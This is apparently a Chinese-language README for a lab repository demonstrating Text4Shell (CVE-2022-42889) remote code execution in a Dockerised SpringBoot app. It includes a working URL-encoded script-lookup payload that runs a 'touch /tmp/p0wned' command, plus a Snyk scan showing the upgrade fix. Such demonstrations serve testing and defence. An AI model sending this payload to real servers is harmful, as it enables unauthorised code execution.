Text4Shell 是 Apache Commons Text 库中发现的一个严重软件漏洞的俗称（参见 CVE-2022-42889）。
本仓库旨在演示利用此 CVE 的远程代码执行（RCE）。
该易受攻击的代码 用于 SpringBoot 控制器中，但请不要混淆，这__不是__ SpringBoot/Spring 安全问题。
在测试 RCE 之前，请构建 Docker 镜像：
$ docker build -t text4shell .
...
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f 0.0s
=> => naming to docker.io/library/text4shell
然后运行容器：
$ docker run --name text4shell --rm -ti -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798 INFO 1 --- [ main] it.sunnyvale.text4shell.Main : Started Main in 1.376 seconds (JVM running for 1.713)
最后，你可以尝试使用特制的 URL 来利用该易受攻击的应用程序：
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%
如果你在容器的 /tmp 目录下找到一个名为 p0wned 的文件，则说明 RCE 已成功执行。
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r-- 1 root root 0 Nov 5 09:17 /tmp/p0wned
使用 Snyk 扫描镜像，可以检测到易受攻击的库：
$ docker scan text4shell | grep text
Testing text4shell...
Project name: docker-image|text4shell
Docker image: text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name: text4shell:latest:/app
Docker image: text4shell